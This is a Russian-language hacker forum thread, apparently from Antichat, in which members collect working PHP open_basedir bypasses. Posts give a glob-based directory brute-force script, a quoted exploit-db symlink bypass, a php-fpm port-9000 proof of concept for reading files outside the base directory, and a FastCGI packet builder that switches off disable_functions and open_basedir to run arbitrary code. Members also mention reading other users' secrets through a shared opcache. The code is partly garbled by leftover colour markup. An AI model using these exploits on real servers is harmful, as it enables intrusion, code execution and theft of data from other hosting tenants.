if([/COLOR][COLOR="#0000BB"]count[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$dirs[/COLOR][COLOR="#007700"]) !==[/COLOR][COLOR="#0000BB"]0[/COLOR][COLOR="#007700"]or[/COLOR][COLOR="#0000BB"]count[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$files[/COLOR][COLOR="#007700"]) !==[/COLOR][COLOR="#0000BB"]0[/COLOR][COLOR="#007700"]) {
foreach([/COLOR][COLOR="#0000BB"]$dirs[/COLOR][COLOR="#007700"]as[/COLOR][COLOR="#0000BB"]$item[/COLOR][COLOR="#007700"]) {
[/
COLOR][COLOR="#0000BB"]$fp[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]$dir[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#0000BB"]$item[/COLOR][COLOR="#007700"];
if([/COLOR][COLOR="#0000BB"]substr[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$item[/COLOR][COLOR="#007700"],-[/COLOR][COLOR="#0000BB"]3[/COLOR][COLOR="#007700"]) ==[/COLOR][COLOR="#DD0000"]'../'[/COLOR][COLOR="#007700"]) {
[/
COLOR][COLOR="#0000BB"]$tmp[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]substr[/COLOR][COLOR="#007700"](([/COLOR][COLOR="#0000BB"]$fp[/COLOR][COLOR="#007700"]),[/COLOR][COLOR="#0000BB"]0[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]strpos[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$fp[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#DD0000"]'/../'[/COLOR][COLOR="#007700"]));
[/
COLOR][COLOR="#0000BB"]$tmp[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]substr[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$tmp[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]0[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]strrpos[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$tmp[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#DD0000"]'/'[/COLOR][COLOR="#007700"]));
echo[/COLOR][COLOR="#DD0000"]"[/COLOR][COLOR="#007700"]{[/COLOR][COLOR="#0000BB"]$item[/COLOR][COLOR="#007700"]}[/COLOR][COLOR="#DD0000"]
"[/COLOR][COLOR="#007700"];
} else {
echo[/COLOR][COLOR="#DD0000"]"[/COLOR][COLOR="#007700"]{[/COLOR][COLOR="#0000BB"]$item[/COLOR][COLOR="#007700"]}[/COLOR][COLOR="#DD0000"]
"[/COLOR][COLOR="#007700"];
}
}
foreach([/COLOR][COLOR="#0000BB"]$files[/COLOR][COLOR="#007700"]as[/COLOR][COLOR="#0000BB"]$item[/COLOR][COLOR="#007700"]) {
echo[/COLOR][COLOR="#0000BB"]$item[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#DD0000"]"
"
[/COLOR][COLOR="#007700"];
}
} else {
echo[/COLOR][COLOR="#DD0000"]"Access denied or open_basedir = Off, back"[/COLOR][COLOR="#007700"];
}
echo[/COLOR][COLOR="#DD0000"]"\n\n[/COLOR][COLOR="#0000BB"]$count[/COLOR][COLOR="#DD0000"]glob iteration"[/COLOR][COLOR="#007700"];
echo[/COLOR][COLOR="#DD0000"]"\n"[/COLOR][COLOR="#007700"].([/COLOR][COLOR="#0000BB"]count[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$dirs[/COLOR][COLOR="#007700"])+[/COLOR][COLOR="#0000BB"]count[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$files[/COLOR][COLOR="#007700"])).[/COLOR][COLOR="#DD0000"]" files"[/COLOR][COLOR="#007700"];

[/
COLOR][COLOR="#0000BB"]$z[/COLOR][COLOR="#007700"]->[/COLOR][COLOR="#0000BB"]close[/COLOR][COLOR="#007700"]();
if([/COLOR][COLOR="#0000BB"]file_exists[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$tmp_zip_name[/COLOR][COLOR="#007700"]))
[/
COLOR][COLOR="#0000BB"]unlink[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$tmp_zip_name[/COLOR][COLOR="#007700"]);

echo[/COLOR][COLOR="#DD0000"]"\nTime: "[/COLOR][COLOR="#007700"].([/COLOR][COLOR="#0000BB"]microtime[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]true[/COLOR][COLOR="#007700"]) -[/COLOR][COLOR="#0000BB"]$starttime[/COLOR][COLOR="#007700"]).[/COLOR][COLOR="#DD0000"]" seconds"[/COLOR][COLOR="#007700"];
echo[/COLOR][COLOR="#DD0000"]""[/COLOR][COLOR="#007700"];

function[/COLOR][COLOR="#0000BB"]error_handler[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$errno[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]$errstr[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]$errfile[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]$errline[/COLOR][COLOR="#007700"]){
global[/COLOR][COLOR="#0000BB"]$glob_dirs[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]$regexp[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]$lastfile[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]$dir[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]$dirs[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]$files[/COLOR][COLOR="#007700"];
[/
COLOR][COLOR="#0000BB"]preg_match[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$regexp[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]$errstr[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]$o[/COLOR][COLOR="#007700"]);
if(isset([/COLOR][COLOR="#0000BB"]$o[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#0000BB"]1[/COLOR][COLOR="#007700"]])){
[/
COLOR][COLOR="#0000BB"]$lastfile[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]substr[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$o[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#0000BB"]1[/COLOR][COLOR="#007700"]],[/COLOR][COLOR="#0000BB"]strpos[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$o[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#0000BB"]1[/COLOR][COLOR="#007700"]],[/COLOR][COLOR="#0000BB"]$dir[/COLOR][COLOR="#007700"])+[/COLOR][COLOR="#0000BB"]strlen[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$dir[/COLOR][COLOR="#007700"]));
if(![/COLOR][COLOR="#0000BB"]in_array[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$lastfile[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]$glob_dirs[/COLOR][COLOR="#007700"])) {
[/
COLOR][COLOR="#0000BB"]$glob_dirs[/COLOR][COLOR="#007700"][] =[/COLOR][COLOR="#0000BB"]$lastfile[/COLOR][COLOR="#007700"];
if([/COLOR][COLOR="#0000BB"]substr[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$lastfile[/COLOR][COLOR="#007700"],-[/COLOR][COLOR="#0000BB"]1[/COLOR][COLOR="#007700"]) ==[/COLOR][COLOR="#DD0000"]'/'[/COLOR][COLOR="#007700"])
[/
COLOR][COLOR="#0000BB"]$dirs[/COLOR][COLOR="#007700"][] =[/COLOR][COLOR="#0000BB"]$lastfile[/COLOR][COLOR="#007700"];
else
[/COLOR][COLOR="#0000BB"]$files[/COLOR][COLOR="#007700"][] =[/COLOR][COLOR="#0000BB"]$lastfile[/COLOR][COLOR="#007700"];
} else {
[/
COLOR][COLOR="#0000BB"]$lastfile[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#DD0000"]''[/COLOR][COLOR="#007700"];
}
}
}
[/
COLOR][COLOR="#0000BB"]?>[/COLOR][/COLOR] 
--------------------------------------------------------------------------------------------------------------------------------------------------------------------

Symlink() - отработало без вопросов.

--------------------------------------------------------------------------------------------------------------------------------------------------------------------

Тест:

7.3.8-1

Эксплоит взят с https://www.exploit-db.com/exploits/10557

PHP код:
PHP:
[
COLOR="#000000"][COLOR="#0000BB"][/COLOR][COLOR="#007700"]This is exploit from Security Audit Lab - SecurityReason labs.
Author : Maksymilian Arciemowicz
Script for legal use only
.
PHP 5.2.12 5.3.1 symlink open_basedir bypass
More
: SecurityReason
'[/COLOR][COLOR="#007700"];

if(empty([/COLOR][COLOR="#0000BB"]$file[/COLOR][COLOR="#007700"]))
exit;

if(![/COLOR][COLOR="#0000BB"]is_writable[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#DD0000"]"."[/COLOR][COLOR="#007700"]))
die([/COLOR][COLOR="#DD0000"]"not writable directory"[/COLOR][COLOR="#007700"]);

[/COLOR][COLOR="#0000BB"]$level[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]0[/COLOR][COLOR="#007700"];

for([/COLOR][COLOR="#0000BB"]$as[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]0[/COLOR][COLOR="#007700"];[/COLOR][COLOR="#0000BB"]$as[/COLOR][COLOR="#007700"]check symlink symlink'
[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#0000BB"]$num[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#DD0000"]' file'[/COLOR][COLOR="#007700"]);

[/
COLOR][COLOR="#0000BB"]?>
[/COLOR][/COLOR] 
 
Ответить с цитированием

  #2  
Старый 22.09.2019, 22:51
crlf
Guest
Сообщений: n/a
Провел на форуме:
169212

Репутация: 441
По умолчанию

Молодец, что собрал в одном месте, но стоит отделить/категоризировать треш типа true/false от действительно полезныйх байпасов (symlink, glob:///*), где можно свободно листить диры и читать файлы.

Цитата:
Сообщение от Baskin-Robbins  
Baskin-Robbins said:

Is_dir()
Цитата:
Сообщение от Baskin-Robbins  
Baskin-Robbins said:

Glob().
На PHP 7.3.7 (FPM + Nginx) не работает

Пользуясь случаем, дополню треш подборку булевых байпасов своими находками:

[PHP]
PHP:
[COLOR="#000000"][COLOR="#007700"]
 
Ответить с цитированием

  #3  
Старый 22.09.2019, 23:55
Baskin-Robbins
Guest
Сообщений: n/a
Провел на форуме:
92829

Репутация: 212
По умолчанию

Цитата:
Сообщение от crlf  
crlf said:

Молодец, что собрал в одном месте, но стоит отделить/категоризировать треш типа
true/false
от действительно полезныйх байпасов (
symlink, glob:///*
), где можно свободно листить диры и читать файлы.
Спасибо за замечание, спустил их в самый низ. Что касается glob:///*то он так и не захотел спускаться ниже /* , впрочем как будет время помучаю его. А вот симлинк + зипархив да, отработали как надо.

Цитата:
Сообщение от crlf  
crlf said:

На PHP 7.3.7 (FPM + Nginx) не работает
Наверно важно в таком случае отметить что тестилось мной на mod_php.
 
Ответить с цитированием

  #4  
Старый 23.09.2019, 00:11
crlf
Guest
Сообщений: n/a
Провел на форуме:
169212

Репутация: 441
По умолчанию

Цитата:
Сообщение от Baskin-Robbins  
Baskin-Robbins said:

Что касается
glob:///*
то он так и не захотел спускаться ниже /*
Так ниже некуда, если мы про линь говорим, то он уже корень листит. Может в шиндовсе иное поведение, хз

Цитата:
Сообщение от Baskin-Robbins  
Baskin-Robbins said:

Наверно важно в таком случае отметить что тестилось мной на mod_php.
Ага, так будет вернее, может кто-то дотестит ещё. А для локальных кейсов с FPM, все эти свистопляски не нужны.

Ну и линк на эту тему вконце не повредит, т.к. имея выполнение команд, байпасс бейсдира не сильно нужен
 
Ответить с цитированием

  #5  
Старый 23.09.2019, 00:27
Baskin-Robbins
Guest
Сообщений: n/a
Провел на форуме:
92829

Репутация: 212
По умолчанию

Цитата:
Сообщение от crlf  
crlf said:

Так ниже некуда, если мы про линь говорим, то он уже корень листит.
я имел ввиду что /etc/* /var/* уже не хочет почему-то, что кст касается и других вариантов - /etc и тд брутит, а вот /etc/* ошибки не изменяются соответственно и брут уже не катит
 
Ответить с цитированием

  #6  
Старый 23.09.2019, 00:36
crlf
Guest
Сообщений: n/a
Провел на форуме:
169212

Репутация: 441
По умолчанию

Цитата:
Сообщение от Baskin-Robbins  
Baskin-Robbins said:

/etc и тд брутит, а вот /etc/* ошибки не изменяются соответственно и брут уже не катит
Кстати да, что-то обламывается. Но смутно помнится какой-то кейс, где glob отрабатывал, возможно что-то путаю
 
Ответить с цитированием

  #7  
Старый 23.12.2019, 20:16
Baskin-Robbins
Guest
Сообщений: n/a
Провел на форуме:
92829

Репутация: 212
По умолчанию

Каким-то странным образом пропустил такую вот интересную штуку

https://bugs.php.net/bug.php?id=70134

В данном случае нам позволяют не только листить диры, но и читать файлы за бэйздиром

Соответственно важно чтобы fpm крутился на 9000 порту

Протестировано на apache + php-fpm 7.3

+1 в копилочку нормальных байпасов

poc прикрепляю как есть

PHP код:
PHP:
[
COLOR="#000000"][COLOR="#0000BB"][/COLOR][COLOR="#007700"][/COLOR][COLOR="#0000BB"]$v[/COLOR][COLOR="#007700"]) {
[/
COLOR][COLOR="#0000BB"]$params_encoded[/COLOR][COLOR="#007700"].=[/COLOR][COLOR="#0000BB"]chr[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]strlen[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$k[/COLOR][COLOR="#007700"])).[/COLOR][COLOR="#0000BB"]chr[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]strlen[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$v[/COLOR][COLOR="#007700"])).[/COLOR][COLOR="#0000BB"]$k[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#0000BB"]$v[/COLOR][COLOR="#007700"];
}

[/
COLOR][COLOR="#0000BB"]$len[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]strlen[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$params_encoded[/COLOR][COLOR="#007700"]);
[/
COLOR][COLOR="#0000BB"]$len_encoded[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]chr[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$len[/COLOR][COLOR="#007700"]>>[/COLOR][COLOR="#0000BB"]8[/COLOR][COLOR="#007700"]).[/COLOR][COLOR="#0000BB"]chr[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$len[/COLOR][COLOR="#007700"]&[/COLOR][COLOR="#0000BB"]255[/COLOR][COLOR="#007700"]);

[/
COLOR][COLOR="#0000BB"]$fp[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]fsockopen[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#DD0000"]'127.0.0.1'[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]9000[/COLOR][COLOR="#007700"]);
[/
COLOR][COLOR="#0000BB"]fwrite[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$fp[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#DD0000"]"\x01\x01\x00\x01\x00\x08\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00"[/COLOR][COLOR="#007700"]);
[/
COLOR][COLOR="#0000BB"]fwrite[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$fp[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#DD0000"]"\x01\x04\x00\x01"[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#0000BB"]$len_encoded[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#DD0000"]"\x00\x00"[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#0000BB"]$params_encoded[/COLOR][COLOR="#007700"]);
[/
COLOR][COLOR="#0000BB"]fwrite[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$fp[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#DD0000"]"\x01\x04\x00\x01\x00\x00\x00\x00"[/COLOR][COLOR="#007700"]);
[/
COLOR][COLOR="#0000BB"]fwrite[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$fp[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#DD0000"]"\x01\x05\x00\x01\x00\x00\x00\x00"[/COLOR][COLOR="#007700"]);
[/
COLOR][COLOR="#0000BB"]sleep[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]2[/COLOR][COLOR="#007700"]);
[/
COLOR][COLOR="#0000BB"]$result[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#DD0000"]''[/COLOR][COLOR="#007700"];
while (![/COLOR][COLOR="#0000BB"]feof[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$fp[/COLOR][COLOR="#007700"])) {
[/
COLOR][COLOR="#0000BB"]$result[/COLOR][COLOR="#007700"].=[/COLOR][COLOR="#0000BB"]fread[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$fp[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]1024[/COLOR][COLOR="#007700"]);
}
[/
COLOR][COLOR="#0000BB"]fclose[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$fp[/COLOR][COLOR="#007700"]);

[/
COLOR][COLOR="#0000BB"]$matches[/COLOR][COLOR="#007700"]= array();
[/
COLOR][COLOR="#0000BB"]preg_match[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#DD0000"]'/START.*END/s'[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]$result[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]$matches[/COLOR][COLOR="#007700"]);
echo[/
COLOR][COLOR="#0000BB"]$matches[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#0000BB"]0[/COLOR][COLOR="#007700"]];
[/
COLOR][COLOR="#0000BB"]?>[/COLOR][/COLOR] 
 
Ответить с цитированием

  #8  
Старый 23.12.2019, 20:31
crlf
Guest
Сообщений: n/a
Провел на форуме:
169212

Репутация: 441
По умолчанию

Цитата:
Сообщение от crlf  
crlf said:

А для локальных кейсов с FPM, все эти свистопляски не нужны.
Я подумал, что все в курсе ещё с rdot-а Вроде первая реализация была от @d0znpp, но мне больше нравится вариант от @dharrya:

PHP код:
PHP:
[
COLOR="#000000"][COLOR="#0000BB"][/COLOR][COLOR="#007700"][/COLOR][COLOR="#0000BB"]0[/COLOR][COLOR="#007700"])
[/
COLOR][COLOR="#0000BB"]$host[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#DD0000"]"tcp://[/COLOR][COLOR="#007700"]${[/COLOR][COLOR="#0000BB"]host[/COLOR][COLOR="#007700"]}[/COLOR][COLOR="#DD0000"]:[/COLOR][COLOR="#007700"]${[/COLOR][COLOR="#0000BB"]port[/COLOR][COLOR="#007700"]}[/COLOR][COLOR="#DD0000"]/"[/COLOR][COLOR="#007700"];
else
[/COLOR][COLOR="#0000BB"]$host[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#DD0000"]"unix://[/COLOR][COLOR="#007700"]${[/COLOR][COLOR="#0000BB"]host[/COLOR][COLOR="#007700"]}[/COLOR][COLOR="#DD0000"]"[/COLOR][COLOR="#007700"];

[/COLOR][COLOR="#0000BB"]$connection[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]stream_socket_client[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$host[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]$errno[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]$errstr[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]$timeout[/COLOR][COLOR="#007700"]);
if ([/COLOR][COLOR="#0000BB"]$connection[/COLOR][COLOR="#007700"]) {
[/
COLOR][COLOR="#0000BB"]stream_set_timeout[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$connection[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]1[/COLOR][COLOR="#007700"]);
[/
COLOR][COLOR="#0000BB"]fputs[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$connection[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]$packet[/COLOR][COLOR="#007700"]);
while(![/COLOR][COLOR="#0000BB"]feof[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$connection[/COLOR][COLOR="#007700"])) {
[/
COLOR][COLOR="#0000BB"]$line[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]fgets[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$connection[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]4096[/COLOR][COLOR="#007700"]);
if([/COLOR][COLOR="#0000BB"]$line[/COLOR][COLOR="#007700"]==[/COLOR][COLOR="#DD0000"]"\r\n"[/COLOR][COLOR="#007700"])
break;

[/
COLOR][COLOR="#0000BB"]$headers[/COLOR][COLOR="#007700"].=[/COLOR][COLOR="#0000BB"]$line[/COLOR][COLOR="#007700"];
}

while(![/COLOR][COLOR="#0000BB"]feof[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$connection[/COLOR][COLOR="#007700"]))
[/
COLOR][COLOR="#0000BB"]$body[/COLOR][COLOR="#007700"].=[/COLOR][COLOR="#0000BB"]fgets[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$connection[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]4096[/COLOR][COLOR="#007700"]);

[/
COLOR][COLOR="#0000BB"]fclose[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$connection[/COLOR][COLOR="#007700"]);
if ([/COLOR][COLOR="#0000BB"]strpos[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$headers[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#DD0000"]'Primary script unknown'[/COLOR][COLOR="#007700"]) !==[/COLOR][COLOR="#0000BB"]false[/COLOR][COLOR="#007700"]||[/COLOR][COLOR="#0000BB"]strpos[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$headers[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#DD0000"]'Status: 404 Not Found'[/COLOR][COLOR="#007700"]) !==[/COLOR][COLOR="#0000BB"]false[/COLOR][COLOR="#007700"]) {
echo[/COLOR][COLOR="#DD0000"]"Test failed:(\n"[/COLOR][COLOR="#007700"];
echo[/COLOR][COLOR="#0000BB"]$headers[/COLOR][COLOR="#007700"];
} else {
echo[/COLOR][COLOR="#DD0000"]"Successful\n"[/COLOR][COLOR="#007700"];
[/
COLOR][COLOR="#0000BB"]var_dump[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$headers[/COLOR][COLOR="#007700"]);
[/
COLOR][COLOR="#0000BB"]var_dump[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$body[/COLOR][COLOR="#007700"]);
}
} else {
echo[/COLOR][COLOR="#DD0000"]"no connection:`("[/COLOR][COLOR="#007700"];
}
}

function[/
COLOR][COLOR="#0000BB"]initializeParams[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$id[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]$params[/COLOR][COLOR="#007700"]= array()){
[/
COLOR][COLOR="#0000BB"]$type[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]4[/COLOR][COLOR="#007700"];
[/
COLOR][COLOR="#0000BB"]$data[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#DD0000"]""[/COLOR][COLOR="#007700"];

foreach ([/COLOR][COLOR="#0000BB"]$params[/COLOR][COLOR="#007700"]as[/COLOR][COLOR="#0000BB"]$key[/COLOR][COLOR="#007700"]=>[/COLOR][COLOR="#0000BB"]$value[/COLOR][COLOR="#007700"]) {
[/
COLOR][COLOR="#0000BB"]$data[/COLOR][COLOR="#007700"].=[/COLOR][COLOR="#0000BB"]pack[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#DD0000"]"CN"[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]strlen[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$key[/COLOR][COLOR="#007700"]),([/COLOR][COLOR="#0000BB"]1[/COLOR][COLOR="#007700"][/COLOR][COLOR="#DD0000"]"GET"[/COLOR][COLOR="#007700"],
[/
COLOR][COLOR="#DD0000"]"SERVER_PROTOCOL"[/COLOR][COLOR="#007700"]=>[/COLOR][COLOR="#DD0000"]"HTTP/1.1"[/COLOR][COLOR="#007700"],
[/
COLOR][COLOR="#DD0000"]"GATEWAY_INTERFACE"[/COLOR][COLOR="#007700"]=>[/COLOR][COLOR="#DD0000"]"CGI/1.1"[/COLOR][COLOR="#007700"],
[/
COLOR][COLOR="#DD0000"]"SERVER_NAME"[/COLOR][COLOR="#007700"]=>[/COLOR][COLOR="#DD0000"]"localhost"[/COLOR][COLOR="#007700"],
[/
COLOR][COLOR="#DD0000"]"HTTP_HOST"[/COLOR][COLOR="#007700"]=>[/COLOR][COLOR="#DD0000"]"localhost"[/COLOR][COLOR="#007700"],
[/
COLOR][COLOR="#DD0000"]"REMOTE_ADDR"[/COLOR][COLOR="#007700"]=>[/COLOR][COLOR="#DD0000"]"127.0.0.1"[/COLOR][COLOR="#007700"],
[/
COLOR][COLOR="#DD0000"]"SCRIPT_FILENAME"[/COLOR][COLOR="#007700"]=>[/COLOR][COLOR="#0000BB"]$scriptFile[/COLOR][COLOR="#007700"],
[/
COLOR][COLOR="#DD0000"]"PHP_ADMIN_VALUE"[/COLOR][COLOR="#007700"]=>[/COLOR][COLOR="#0000BB"]join[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#DD0000"]"\n"[/COLOR][COLOR="#007700"], [
[/
COLOR][COLOR="#DD0000"]"allow_url_fopen=On"[/COLOR][COLOR="#007700"],
[/
COLOR][COLOR="#DD0000"]"allow_url_include=On"[/COLOR][COLOR="#007700"],
[/
COLOR][COLOR="#DD0000"]"disable_functions=Off"[/COLOR][COLOR="#007700"],
[/
COLOR][COLOR="#DD0000"]"open_basedir=Off"[/COLOR][COLOR="#007700"],
[/
COLOR][COLOR="#DD0000"]"short_open_tag=On"[/COLOR][COLOR="#007700"],
[/
COLOR][COLOR="#DD0000"]"auto_prepend_file=data:,"[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#0000BB"]urlencode[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#DD0000"]""[/COLOR][COLOR="#007700"])
])
)
);
[/
COLOR][COLOR="#0000BB"]$packet[/COLOR][COLOR="#007700"].=[/COLOR][COLOR="#0000BB"]to_s[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]1[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]4[/COLOR][COLOR="#007700"]);
[/
COLOR][COLOR="#0000BB"]$packet[/COLOR][COLOR="#007700"].=[/COLOR][COLOR="#0000BB"]to_s[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]1[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]5[/COLOR][COLOR="#007700"]);

return[/COLOR][COLOR="#0000BB"]$packet[/COLOR][COLOR="#007700"];
}

[/
COLOR][COLOR="#0000BB"]$packet[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]buildPacket[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#DD0000"]'echo "OK!";'[/COLOR][COLOR="#007700"]);
[/
COLOR][COLOR="#0000BB"]sendRequest[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#DD0000"]'localhost'[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]9000[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]$packet[/COLOR][COLOR="#007700"]);
[/
COLOR][/COLOR
Цитата:
Сообщение от dharrya  
dharrya said:
Соответственно нужный тебе код в в функции buildPacket. Единственное условие - для выполнения произвольного кода, тебе нужно знать путь к одному ЛЮБОМУ php-файлу. Это может быть PEAR или Composer или что-угодно еще (e.g. ты нашел раскрытие пути в проекте).
open_basedir и diasble_functions просто перезаписываются. Скрипт может в HTTP/SOCK.
 
Ответить с цитированием

  #9  
Старый 05.08.2020, 10:46
crlf
Guest
Сообщений: n/a
Провел на форуме:
169212

Репутация: 441
По умолчанию

При использовании общего опкеша, можно почитать чужие секретики.

Bypass open_basedir with opcache

https://bugs.php.net/bug.php?id=79560
 
Ответить с цитированием
Ответ





Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
 


Быстрый переход




ANTICHAT.XYZ